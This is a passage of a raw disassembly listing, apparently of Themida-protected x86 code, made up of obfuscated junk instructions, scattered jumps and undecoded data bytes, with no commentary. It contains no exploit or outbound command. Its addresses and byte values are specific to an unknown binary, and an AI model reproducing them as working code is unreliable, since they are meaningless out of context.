67431B4Bh sub ebp, 67DB93Fh add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, esi push esi mov esi, 51D7524Bh and esi, 34CC775Fh jmp loc_5A79FE ; --------------------------------------------------------------------------- loc_5994AE: ; CODE XREF: Themida_:005A8499j ; DATA XREF: Themida_:00598834o mov ecx, [esp] push 3816h jmp loc_5A354D ; --------------------------------------------------------------------------- loc_5994BB: ; CODE XREF: Themida_:005AE49Dj xor edi, 5616CA1Bh or esi, edi pop edi jmp loc_5A1850 ; --------------------------------------------------------------------------- loc_5994C9: ; CODE XREF: Themida_:0059F75Bj neg eax sub eax, 11F7667Ch jmp loc_5AEEF1 ; --------------------------------------------------------------------------- loc_5994D5: ; CODE XREF: Themida_:005A123Ej pop ax jmp loc_59D96F ; --------------------------------------------------------------------------- loc_5994DC: ; CODE XREF: Themida_:005AA268j mov esi, [esp] add esp, 4 jmp loc_5A0426 ; --------------------------------------------------------------------------- loc_5994E7: ; CODE XREF: Themida_:005A8DD3j pop ebx jmp loc_59996F ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0EA810000h, 1CE4DBEh, 0BB53FA01h, 63F54A94h, 32E2C381h dd 0E3C11A13h, 0F2EB8102h, 8130822Ch, 0D17B28EBh, 8BDA01C5h dd 0C483241Ch, 754E904h db 1, 0 ; --------------------------------------------------------------------------- loc_599522: ; CODE XREF: Themida_:005ABDE8j sub esp, 4 jmp loc_59CE87 ; --------------------------------------------------------------------------- loc_59952D: ; CODE XREF: Themida_:005A546Cj neg eax xor eax, 0B3648F49h add edx, eax jmp loc_59EF46 ; --------------------------------------------------------------------------- loc_59953B: ; CODE XREF: Themida_:0059F474j xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 3E3Ch mov [esp], ebx jmp loc_5AA8D0 ; --------------------------------------------------------------------------- loc_59955B: ; CODE XREF: Themida_:005A80E7j add ebx, eax pop eax jmp loc_5A99C0 ; --------------------------------------------------------------------------- loc_599563: ; CODE XREF: Themida_:005A7EE6j jmp loc_59CD4D ; --------------------------------------------------------------------------- loc_599568: ; CODE XREF: Themida_:005A2674j add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] add ebp, 4 jmp loc_5AFA09 ; --------------------------------------------------------------------------- loc_59957C: ; CODE XREF: Themida_:005ACC5Bj ja loc_5AD852 push ecx push ebp mov ebp, 4BE772F3h mov ecx, ebp pop ebp and edx, ecx loc_59958E: ; CODE XREF: Themida_:005A4977j pop edi add edi, 4 sub esp, 4 mov [esp], ebx push 56F4h jmp loc_59BAE0 ; --------------------------------------------------------------------------- loc_5995A8: ; CODE XREF: Themida_:005AFDE3j not eax add eax, 0FABAD2CDh jmp loc_5AE726 ; --------------------------------------------------------------------------- loc_5995B4: ; CODE XREF: Themida_:0059FCAAj ; Themida_:loc_5A30BBj pop ebx push ecx mov ecx, 3DA0A5Eh add ecx, 7C45DB7h and edx, ecx jmp loc_5A093A ; --------------------------------------------------------------------------- loc_5995C8: ; CODE XREF: Themida_:0059FDD7j mov ebx, 4B41792Eh jmp loc_5A9C1D ; --------------------------------------------------------------------------- loc_5995D2: ; CODE XREF: Themida_:005A3928j sub bl, dl pop dx add bl, 47h add bl, al sub bl, 47h add bl, 0C8h mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr bl, 5 jnz loc_5A811A or bl, 95h jno loc_5AB2CA jmp loc_5A33E3 ; --------------------------------------------------------------------------- loc_59960E: ; CODE XREF: Themida_:005A0ACCj add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_5A886C ; --------------------------------------------------------------------------- loc_599620: ; CODE XREF: Themida_:005AF091j dec ah jmp loc_5A691D ; --------------------------------------------------------------------------- loc_599627: ; CODE XREF: Themida_:005A3BC3j dec ebp xor ebp, 526D4080h jmp loc_5AA2EA ; --------------------------------------------------------------------------- db 4 aSov db '%И╝╒',0 align 2 loc_59963A: ; CODE XREF: Themida_:0059FE14j sub edx, 0FFFFFFFFh shl edx, 2 jmp loc_5AD280 ; --------------------------------------------------------------------------- loc_599648: ; CODE XREF: Themida_:005AED7Ej add edx, edi add edx, 38364848h mov edi, [esp] add esp, 4 add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_5A71AC ; --------------------------------------------------------------------------- loc_59966A: ; CODE XREF: Themida_:005A93C6j not ebx jmp loc_5AB42F ; --------------------------------------------------------------------------- db 52h, 68h, 0CCh dd 8B13AD77h, 0C4832414h, 520BE904h db 1, 0 ; --------------------------------------------------------------------------- loc_599682: ; CODE XREF: Themida_:005AC49Bj push eax mov eax, 0CB43C34h add eax, 156E2AA7h jle loc_5A49EA neg eax shr eax, 1 jnz loc_59B6F8 add eax, 0AF474029h inc eax xor al, 88h mov bl, dl loc_5996A7: ; CODE XREF: Themida_:005AA350j add dword ptr [esp+4], 68EE430Ch mov eax, [esp] push 2Eh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax push 6B66h mov [esp], edx jmp loc_5AB8EC ; --------------------------------------------------------------------------- loc_5996DA: ; CODE XREF: Themida_:005AF1DBj pop ebx sub ebx, 48B92AFEh jmp loc_5A101F ; --------------------------------------------------------------------------- loc_5996E6: ; CODE XREF: Themida_:005A67ACj add eax, edi pop edi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A730C ; --------------------------------------------------------------------------- loc_599707: ; CODE XREF: Themida_:0059DFA4j xchg edx, [esp] mov esp, [esp] mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax xchg eax, edi not edi xchg eax, edi push eax jmp loc_5A62D9 ; --------------------------------------------------------------------------- db 0C1h dd 0F78106EFh, 261334F6h, 720DF781h, 0F7813431h, 7AD6EBEBh dd 0A077E9h, 0EB815B00h, 7DEE63E9h, 35B7E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59974A: ; CODE XREF: Themida_:005ACA6Cj xchg ebp, [esp] pop esp push ebx add dword ptr [esp], 41B025C7h pop edx sub edx, 41B025C7h pop ebx push esi mov esi, 0FFFFFFFFh sub edx, 7C3C4A60h sub edx, esi jmp loc_5AB651 ; --------------------------------------------------------------------------- loc_599771: ; CODE XREF: Themida_:0059DE9Fj pop edx sub ebx, 4 push 75D9h jmp loc_5AE949 ; --------------------------------------------------------------------------- loc_59977F: ; CODE XREF: Themida_:005A3548j mov ebp, edi push ebp jmp loc_59E113 ; --------------------------------------------------------------------------- db 0C0h dd 0B25205E9h, 55BEE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_599792: ; CODE XREF: Themida_:005AC189j push 6A79h mov [esp], esi mov esi, 73C9346Ch add esi, 0FFFFFFFFh jmp loc_59C8FB ; --------------------------------------------------------------------------- loc_5997A7: ; CODE XREF: Themida_:005AEE72j mov al, cl pop ecx sub bl, 0BAh add bl, 0C9h add bl, 0F7h add bl, al sub bl, 0F7h sub bl, 0C9h jmp loc_5A1954 ; --------------------------------------------------------------------------- loc_5997C0: ; CODE XREF: Themida_:005A51B3j ; Themida_:005A54EEj mov [esp], ebx mov ebx, 4 add ebp, ebx jmp loc_5A04D3 ; --------------------------------------------------------------------------- loc_5997CF: ; CODE XREF: Themida_:005AEAC9j pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_5A69B9 ; --------------------------------------------------------------------------- loc_5997DB: ; CODE XREF: Themida_:005A0C8Aj push ebp mov ebp, 72647F03h add ebp, 768028A4h jmp loc_59A26D ; --------------------------------------------------------------------------- loc_5997EC: ; CODE XREF: Themida_:0059E981j or ebx, 6A595B08h add ebx, 15A600DCh add edi, ebx jmp loc_5AA2D2 ; --------------------------------------------------------------------------- loc_5997FF: ; CODE XREF: Themida_:005998ADj mov esp, [esp] push edx push ebx push eax mov ah, 0CFh sub ah, 10h jo loc_59B3D4 xor ah, 0EFh mov bh, ah jmp loc_5AF5A7 ; --------------------------------------------------------------------------- loc_59981A: ; CODE XREF: Themida_:0059DA6Dj mov [esp], esi mov esi, 77D808A7h mov ebx, 8827F75Dh jmp loc_59A265 ; --------------------------------------------------------------------------- loc_59982C: ; CODE XREF: Themida_:005A7855j shr bl, 8 push eax jmp loc_5ABF30 ; --------------------------------------------------------------------------- loc_599835: ; CODE XREF: Themida_:005A2DDDj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59B307 ; --------------------------------------------------------------------------- aQrha8qnzszp db 'QRh²8÷nZИ╖▐',0 align 2 loc_599856: ; CODE XREF: Themida_:005A83E3j xor edi, 4CB74890h mov ecx, edi jmp loc_5A82E9 ; --------------------------------------------------------------------------- loc_599863: ; CODE XREF: Themida_:005AE44Aj add ebx, 6AA05C9Ah jmp loc_59BFD5 ; --------------------------------------------------------------------------- loc_59986E: ; CODE XREF: Themida_:loc_5A233Aj add dl, 0D7h add bl, dl pop edx sub bl, 94h sub bl, 49h jmp loc_59E25A ; --------------------------------------------------------------------------- db 0C1h dd 66E906E2h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599887: ; CODE XREF: Themida_:005A0AE9j add ebx, eax sub ebx, 5FC70574h add ebx, 42F96089h push dword ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59989C: ; CODE XREF: Themida_:005A402Aj push esi mov esi, 4 jmp loc_5AE050 ; --------------------------------------------------------------------------- loc_5998A7: ; CODE XREF: Themida_:005AF6C3j xor [esp], ecx xor ecx, [esp] jmp loc_5997FF ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 61D66C2h shr edi, 8 shr edi, 6 shr edi, 8 shl edi, 7 xor edi, 0C04h jmp loc_5AAA78 ; --------------------------------------------------------------------------- dw 57B8h dd 0F7617577h, 88A52DD8h, 0EA819E8Ah, 54911C55h, 0C281C201h dd 54911C55h, 582434FFh, 5331E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5998F6: ; CODE XREF: Themida_:005A4B72j shr eax, 6 shl eax, 7 add eax, 0DC731707h and ebx, eax pop eax inc ebx xor ebx, 34EB182Dh shl ebx, 4 not ebx jmp loc_59D781 ; --------------------------------------------------------------------------- db 81h, 0EEh, 5 dd 587DC512h, 8B243487h, 4D22424h, 78E99C24h, 81FFFFF0h dd 947282CEh, 7381E95Eh, 0D2F70000h, 64E9D2F7h, 0E90000EDh dd 59F6h ; --------------------------------------------------------------------------- loc_599944: ; CODE XREF: Themida_:005A8D17j add ebx, edi pop edi jmp loc_5A1BF6 ; --------------------------------------------------------------------------- loc_59994C: ; CODE XREF: Themida_:005AE093j sub eax, 39C513D1h mov edx, [esp] add esp, 4 add eax, ebx sub eax, 30EF2EA4h mov ebx, [esp] push esi push 7775h jmp loc_5A256D ; --------------------------------------------------------------------------- loc_59996F: ; CODE XREF: Themida_:005994E8j ; Themida_:005A0D15j pop dword ptr [esp] mov esp, [esp] dec esi push eax jmp loc_5AE011 ; --------------------------------------------------------------------------- loc_59997C: ; CODE XREF: Themida_:005A551Fj mov eax, 3E6E4D7Ah add ebx, eax pop eax mov esi, [esp] push ebx mov ebx, esp push esi mov esi, 51C679DCh or esi, 34E649FAh shr esi, 1 xor esi, 3AF33CFBh jmp loc_5A8819 ; --------------------------------------------------------------------------- db 0BDh dd 5A3C47B2h, 0F01DE945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5999AE: ; CODE XREF: Themida_:005A16DFj mov [esp], edx jmp loc_59E1A9 ; --------------------------------------------------------------------------- loc_5999B6: ; CODE XREF: Themida_:005AD1BAj add esi, ebp pop ebp push ecx jmp loc_598F8D ; --------------------------------------------------------------------------- loc_5999BF: ; CODE XREF: Themida_:0059BFD0j ; Themida_:005A777Fj pop esi push eax push ecx push edi mov edi, 38A76FB4h mov ecx, 29EC0565h add ecx, edi pop edi jmp loc_59E01E ; --------------------------------------------------------------------------- db 81h, 0C1h, 0B9h dd 893D83D8h, 10B9E9CBh, 0C6810000h, 0FFECFCB9h, 9B4C781h dd 0EF813D6Fh, 682C4EAFh, 0C781F701h, 682C4EAFh, 57E18951h dd 0C3A4E9h db 0 ; --------------------------------------------------------------------------- loc_599A05: ; CODE XREF: Themida_:005A6D82j push 6DB3h mov [esp], ebp jmp loc_5AE507 ; --------------------------------------------------------------------------- a_l4Hu3 db '_▀4$h⌠3',0 dw 8900h dd 368240Ch, 89000010h, 4812424h, 424h, 2434FF00h, 5D8FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599A36: ; CODE XREF: Themida_:005A4EBEj xchg edi, [esp] pop esp and ecx, eax mov eax, [esp] push eax push esp jmp loc_5A247D ; --------------------------------------------------------------------------- aLS_ db '▀$$И_"',0 align 2 loc_599A4E: ; CODE XREF: Themida_:0059C23Fj xor eax, ecx jmp loc_5A41A7 ; --------------------------------------------------------------------------- loc_599A55: ; CODE XREF: Themida_:005A39EFj pop ebp jmp loc_59A8DE ; --------------------------------------------------------------------------- loc_599A5B: ; CODE XREF: Themida_:005A1416j push 3D45h mov [esp], ecx push eax jmp loc_5A2490 ; --------------------------------------------------------------------------- loc_599A69: ; CODE XREF: Themida_:005A2CEFj mov ecx, esp add ecx, 4 jmp loc_5A1E6B ; --------------------------------------------------------------------------- loc_599A76: ; CODE XREF: Themida_:005A2F7Aj mov [esp], edx mov edx, 6CC75BECh mov eax, 57514418h add eax, edx jmp loc_5AE8F3 ; --------------------------------------------------------------------------- loc_599A8A: ; CODE XREF: Themida_:005AC170j mov [esp], ebp push 0A9Eh mov [esp], ebx mov ebx, 0FFFFFFFFh jmp loc_59EFFC ; --------------------------------------------------------------------------- loc_599A9F: ; CODE XREF: Themida_:005AB0F1j add edi, 4 jmp loc_5AEFBE ; --------------------------------------------------------------------------- loc_599AAA: ; CODE XREF: Themida_:005A4D29j add edx, 20E55BADh xor edx, 6D8D2129h add edx, 7AA63BB5h add edx, 0F85D7B11h jmp loc_5AA6DB ; --------------------------------------------------------------------------- db 81h dd 601137C5h, 0BA525B02h, 0AC5ECFCDh, 110BC581h, 0D5014204h dd 110BED81h, 148B4204h, 446BE924h, 385C0000h, 0B0E99CC1h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599AF3: ; CODE XREF: Themida_:005ACC2Dj add esp, 4 push ecx mov ecx, 3AD129ABh and ecx, 49F3DC8h jns loc_5AC2C2 and ecx, 17FD4A97h dec ecx mov ecx, edi mov edx, ebp loc_599B16: ; CODE XREF: Themida_:005AB3CAj pop eax sub edx, 39F17F73h pop esi xchg edx, [esp] jmp loc_59B406 ; --------------------------------------------------------------------------- dw 0EE81h dd 0B10412Bh, 66BA5253h, 813B171Bh, 0B060CC2h, 0E9D38927h dd 0F946h ; --------------------------------------------------------------------------- loc_599B40: ; CODE XREF: Themida_:005ACB7Bj push eax mov eax, 1C4472A4h sub ebx, eax pop eax sub ebx, 0CF32231Ch mov edi, ebx pop ebx sub edi, 17256369h neg edi or edi, 5CD430E7h jmp loc_5ACB39 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 81E38953h, 4C3h, 2108E900h, 0C890001h, 0A3BD5524h, 0E94EF552h dd 3255h ; --------------------------------------------------------------------------- loc_599B84: ; CODE XREF: Themida_:005A15ACj push 5070h mov [esp], edx mov edx, esp push 78DDh mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_5A4C27 ; --------------------------------------------------------------------------- loc_599BA3: ; CODE XREF: Themida_:005A46C7j neg esi sub esi, 0A86B85F9h sub eax, esi pop esi jmp loc_5AEEE5 ; --------------------------------------------------------------------------- loc_599BB3: ; CODE XREF: Themida_:005A627Fj xchg edi, [esp] pop esp xor eax, 324872BFh push 41B8h mov [esp], edi push ebx mov ebx, esp push ecx mov ecx, 59E5086h inc ecx add ecx, 0FA61AF7Dh jmp loc_5A4E90 ; --------------------------------------------------------------------------- db 52h, 68h, 60h dd 5A62871Ch, 6DB1E9h db 0 ; --------------------------------------------------------------------------- loc_599BE5: ; CODE XREF: Themida_:005AE75Fj mov bl, cl pop ecx push dword ptr [esp] pop edx jmp loc_5A0344 ; --------------------------------------------------------------------------- byte_599BF1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00598718o dd 4EC8324h, 68241489h, 3BDDh, 83242489h, 5A042404h, 4BD55h dd 91E90000h db 32h, 1, 0 ; --------------------------------------------------------------------------- loc_599C13: ; CODE XREF: Themida_:005A9327j sub ebx, 36F11016h add [esp+4], ebx pop ebx mov ebp, [esp] add esp, 4 add ebp, 4 push esi mov esi, 2 jmp loc_5A3C3F ; --------------------------------------------------------------------------- loc_599C38: ; CODE XREF: Themida_:005ADF9Ej pop esi add esp, 4 mov edi, [esp] jmp loc_59C955 ; --------------------------------------------------------------------------- loc_599C44: ; CODE XREF: Themida_:005A57F5j mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebx push esi mov esi, 4 sub esp, 4 mov [esp], esi mov ebx, [esp] add esp, 4 pop esi add ecx, 56CF7C47h add ecx, 7BB20676h add ecx, ebx sub ecx, 7BB20676h jmp loc_59D879 ; --------------------------------------------------------------------------- loc_599C84: ; CODE XREF: Themida_:005A3E62j pop esp mov [esp], cx movzx cx, al jmp loc_5A1DB8 ; --------------------------------------------------------------------------- loc_599C92: ; CODE XREF: Themida_:005A02E8j pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599CA1: ; CODE XREF: Themida_:0059EB83j sub ebx, 105034D0h jmp loc_59E894 ; --------------------------------------------------------------------------- dd 31241433h, 14332414h, 24248B24h, 89241C89h, 4EC81E3h dd 89000000h, 0B2B82404h, 5394A7Eh, 0E74BA138h, 24048350h dd 5B95E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_599CDA: ; CODE XREF: Themida_:00598ED5j mov esp, [esp] mov [esp], eax push esp pop eax push 596Ah mov [esp], edx jmp loc_5A6419 ; --------------------------------------------------------------------------- db 31h dd 0CF0158C1h, 4C78359h, 0E9243C33h, 0B5C4h ; --------------------------------------------------------------------------- loc_599D00: ; CODE XREF: Themida_:005A3CB2j inc edi push ebx mov ebx, 25A02D37h and edi, ebx pop ebx add edi, 5E4B01C4h sub edx, edi mov edi, [esp] add esp, 4 jmp loc_5AD8C8 ; --------------------------------------------------------------------------- loc_599D1D: ; CODE XREF: Themida_:005A28FDj shr bh, 8 push edx mov dh, 6Dh xor bh, dh mov edx, [esp] add esp, 4 xor dh, bh pop ebx not dh jmp loc_5AD9DC ; --------------------------------------------------------------------------- loc_599D35: ; CODE XREF: Themida_:005A2B32j push edi push 30F209ECh jmp loc_5A9FBA ; --------------------------------------------------------------------------- dd 7CB6EA81h, 0F6E98062h db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599D4B: ; CODE XREF: Themida_:0059D26Bj mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] jmp loc_5A1CAA ; --------------------------------------------------------------------------- dd 0C40EA81h, 0D2F7B9B1h, 37A1E9h db 0 ; --------------------------------------------------------------------------- loc_599D71: ; CODE XREF: Themida_:005AEFE4j mov [esp], ebp jmp loc_59BB1A ; --------------------------------------------------------------------------- loc_599D79: ; CODE XREF: Themida_:005AE530j sub edx, 1 push 46E4h mov [esp], ebx push 528C635Fh pop ebx xor ebx, 388D0246h sub edx, ebx mov ebx, [esp] push ecx jmp loc_5A8EA8 ; --------------------------------------------------------------------------- db 80h dd 28282404h, 2C80242Ch, 2C8A2824h, 4C48324h, 51E2F580h dd 1244CFEh, 12454F6h, 83240C8Bh, 0D5F604C4h, 0E9DDF580h dd 868h ; --------------------------------------------------------------------------- loc_599DC8: ; CODE XREF: Themida_:005A2AF7j mov edi, esp add edi, 4 push ebp mov ebp, 4 push edx mov edx, 378805E5h jmp loc_5AA20F ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 3 dd 1CFE840Fh, 0E3E90000h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599DEF: ; CODE XREF: Themida_:0059FF83j add dh, 0FBh jmp loc_5A9054 ; --------------------------------------------------------------------------- loc_599DF7: ; CODE XREF: Themida_:005A6A86j push 3817h mov [esp], ebp jmp loc_598E87 ; --------------------------------------------------------------------------- loc_599E04: ; CODE XREF: Themida_:005AEE88j mov dh, 97h or dh, 54h shl dh, 8 and dh, 75h jmp loc_5A09D5 ; --------------------------------------------------------------------------- dd 2EF2C781h, 575E6FC3h, 5F2404FFh, 83C781h, 0FE0917CDh dd 7EB9515Fh, 0C14C7A69h, 0E1C107E1h, 0BBE98108h, 1B41A6Fh dd 240C8BCEh, 4C481h, 0C7810000h, 391D1FE2h, 0EF81F701h dd 391D1FE2h, 113E4E9h db 0 ; --------------------------------------------------------------------------- loc_599E59: ; CODE XREF: Themida_:005AA599j pop edi push 102Ch mov [esp], eax push 2F9Ah mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, 4 jmp loc_5A4003 ; --------------------------------------------------------------------------- db 21h, 77h, 1Ch aL4Hs db '▀4$h≤>',0 align 4 dd offset dword_504354+1D95h db 0 ; --------------------------------------------------------------------------- loc_599E8D: ; CODE XREF: Themida_:005A9C36j push ebp mov ebp, 61F41D3Eh mov edx, 61F41D3Ah xor edx, ebp jmp loc_5AA27A ; --------------------------------------------------------------------------- loc_599E9F: ; CODE XREF: Themida_:loc_59E894j add ebx, 553A6340h jmp loc_5A3640 ; --------------------------------------------------------------------------- loc_599EAA: ; CODE XREF: Themida_:005A9931j push dword ptr [esp] jmp loc_5A4410 ; --------------------------------------------------------------------------- dw 5D5Ah dd 4DCFBD55h, 0D5E9593Bh, 5000148h, 4, 3304C083h, 4312404h dd 24043324h, 0E924248Bh, 0CCB1h ; --------------------------------------------------------------------------- loc_599ED8: ; CODE XREF: Themida_:005AAC45j mov ecx, [esp] add esp, 4 or eax, eax jz loc_5A40FB push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp push ebp mov ebp, 72A07D7Bh sub ebp, 60396EA4h or ebp, 3BC55570h not ebp push 5B5Ah mov [esp], eax jmp loc_5A2F75 ; --------------------------------------------------------------------------- loc_599F1A: ; CODE XREF: Themida_:0059C7E1j pop dword ptr [esp] mov esp, [esp] jmp loc_5AC47F ; --------------------------------------------------------------------------- db 5Eh, 0C1h, 0EBh dd 1E890F02h, 81000075h, 7C8B28F3h, 8DE9536Fh, 0B7000027h db 4 ; --------------------------------------------------------------------------- loc_599F3D: ; CODE XREF: Themida_:005A0397j mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599F4B: ; CODE XREF: Themida_:loc_5A9CC4j or edi, 438336Ch jb loc_5A9229 add edi, 77A2EF1h sub edi, 66B26EECh sub esi, 35D90DABh sub esi, edi add esi, 35D90DABh pop edi xchg esi, [esp] jmp loc_59B133 ; --------------------------------------------------------------------------- dw 401h dd 20E99C24h, 81FFFFEAh, 4ECh, 24348900h, 38826850h, 34FF593Dh dd 0C4815824h, 4, 0EC835653h, 24048904h, 4508F268h, 0E952580Dh dd 11C8Ch, 0E959C801h, 0C16Eh ; --------------------------------------------------------------------------- loc_599FB8: ; CODE XREF: Themida_:005A97CBj sub ecx, 0B74A92D7h mov esi, ecx pop ecx or esi, 54805878h add esi, 0AA76A50Bh jmp loc_5AAD0B ; --------------------------------------------------------------------------- loc_599FD2: ; CODE XREF: Themida_:005A72F9j push edx mov dh, 3Ah push ecx jmp loc_5A636D ; --------------------------------------------------------------------------- loc_599FDB: ; CODE XREF: Themida_:0059C312j add esp, 4 push ebp mov ebp, esp push edi mov edi, esp add edi, 4 jmp loc_5AC8B9 ; --------------------------------------------------------------------------- loc_599FF2: ; CODE XREF: Themida_:005A7669j inc eax jmp loc_59DDEB ; --------------------------------------------------------------------------- loc_599FF8: ; CODE XREF: Themida_:0059F628j mov bh, ah pop eax push eax mov ah, bh mov cl, ah mov eax, [esp] push edx jmp loc_59D838 ; --------------------------------------------------------------------------- db 56h, 0E9h, 6Ah dd 500012Eh, 75C842E6h, 7EC18A0Fh, 0A7E90000h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A01F: ; CODE XREF: Themida_:005AA9D6j add ebx, 4 jmp loc_5AFAA5 ; --------------------------------------------------------------------------- loc_59A02A: ; CODE XREF: Themida_:005AEE79j sub edi, 3B1C27E7h mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5A16DE ; --------------------------------------------------------------------------- dd 93E9C288h, 56000117h, 5E2414F7h, 0EED3E9h db 0 ; --------------------------------------------------------------------------- loc_59A055: ; CODE XREF: Themida_:005A9923j pop eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5ADD73 ; --------------------------------------------------------------------------- db 0F7h dd 0E95F2414h, 5D8Ch ; --------------------------------------------------------------------------- loc_59A070: ; CODE XREF: Themida_:005A7A25j pop edi push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp sub esp, 4 jmp loc_5A9C8F ; --------------------------------------------------------------------------- loc_59A089: ; CODE XREF: Themida_:005A3E17j not dword ptr [esp] mov ebx, [esp] add esp, 4 shl ebx, 6 neg ebx jmp loc_5A853A ; --------------------------------------------------------------------------- dd 4C481h, 0EA810000h, 69E947C5h, 6E2C159h, 42B3EA81h dd 15E9320Ah db 31h, 1, 0 ; --------------------------------------------------------------------------- loc_59A0B7: ; CODE XREF: Themida_:0059B1B3j ; Themida_:005AB9EAj ... push 69B5197Fh pop edx dec edx sub edx, 1 add edx, 9E91EF91h or ebx, edx jmp loc_5AC622 ; --------------------------------------------------------------------------- loc_59A0CE: ; CODE XREF: Themida_:005A36ADj ; Themida_:005AF590j pop ecx jmp loc_59A5F9 ; --------------------------------------------------------------------------- loc_59A0D4: ; CODE XREF: Themida_:0059D46Bj xchg edi, [esp] pop esp or eax, eax jz loc_59B30E push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push 20F9h mov [esp], esp push eax jmp loc_5ABCF5 ; --------------------------------------------------------------------------- loc_59A108: ; CODE XREF: Themida_:005A4631j ; Themida_:005A678Bj add ebx, 16815B24h jmp loc_5AE700 ; --------------------------------------------------------------------------- loc_59A113: ; CODE XREF: Themida_:005AA317j push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_59F7D3 ; --------------------------------------------------------------------------- loc_59A12E: ; CODE XREF: Themida_:005A4F21j jmp loc_5989A3 ; --------------------------------------------------------------------------- byte_59A133 db 66h ; DATA XREF: Themida_:0059870Co dd 68240C8Bh, 21F9h, 68243489h, 58EBh, 24048F54h, 4240481h dd 8B000000h, 0C4832434h, 4685304h, 0E9000000h, 135E9h ; --------------------------------------------------------------------------- loc_59A160: ; CODE XREF: Themida_:0059911Dj mov [esp], ebx push edx mov edx, 2A9607BFh inc edx jmp loc_59BF00 ; --------------------------------------------------------------------------- loc_59A16F: ; CODE XREF: Themida_:0059A932j shl edi, 1 jmp loc_5A67A3 ; --------------------------------------------------------------------------- loc_59A176: ; CODE XREF: Themida_:loc_5AC8AFj dec edx xor edx, 77797FCAh jmp loc_5A4136 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 0C181D929h, 47EB48FFh, 4635E9h, 7C0A0500h dd 0F0016B87h, 877C0A2Dh, 48A2E96Bh, 34890000h, 2474FF24h dd 48F5E04h, 24248B24h, 0FFE7EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_59A1B9: ; CODE XREF: Themida_:0059A6C0j add esi, 4 push edi mov edi, 5F382ED8h dec edi jmp loc_5A9CC4 ; --------------------------------------------------------------------------- loc_59A1CB: ; CODE XREF: Themida_:005AB26Bj push 2180h mov [esp], eax pop esi jmp loc_59CD7A ; --------------------------------------------------------------------------- db 1, 0F0h, 5Eh dd 0BA525B5Fh, 6F05182Fh, 5FCFB951h, 0CA016256h, 2A16E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A1F2: ; CODE XREF: Themida_:005A5668j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5AB11B ; --------------------------------------------------------------------------- loc_59A20C: ; CODE XREF: Themida_:005ADEFBj push edx mov dl, bl mov al, dl jmp loc_5AD9EB ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 13E95904h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A223: ; CODE XREF: Themida_:00598B46j xor di, cx pop ecx xor si, di jmp loc_5A8AF1 ; --------------------------------------------------------------------------- loc_59A22F: ; CODE XREF: Themida_:005A07C3j mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A018C ; --------------------------------------------------------------------------- loc_59A240: ; CODE XREF: Themida_:005A72BBj pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] and eax, ebx pop ebx push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5AF7E8 ; --------------------------------------------------------------------------- loc_59A265: ; CODE XREF: Themida_:00599827j add ebx, esi pop esi jmp loc_5A0F1B ; --------------------------------------------------------------------------- loc_59A26D: ; CODE XREF: Themida_:005997E7j jb loc_5A3C11 add ebp, 10561CBEh jbe loc_5A4DEA shl ebp, 7 xor ebp, 0A3C750EDh add ecx, ebp pop ebp jmp loc_59C09A ; --------------------------------------------------------------------------- loc_59A290: ; CODE XREF: Themida_:005A2F9Dj mov [esp], ebx 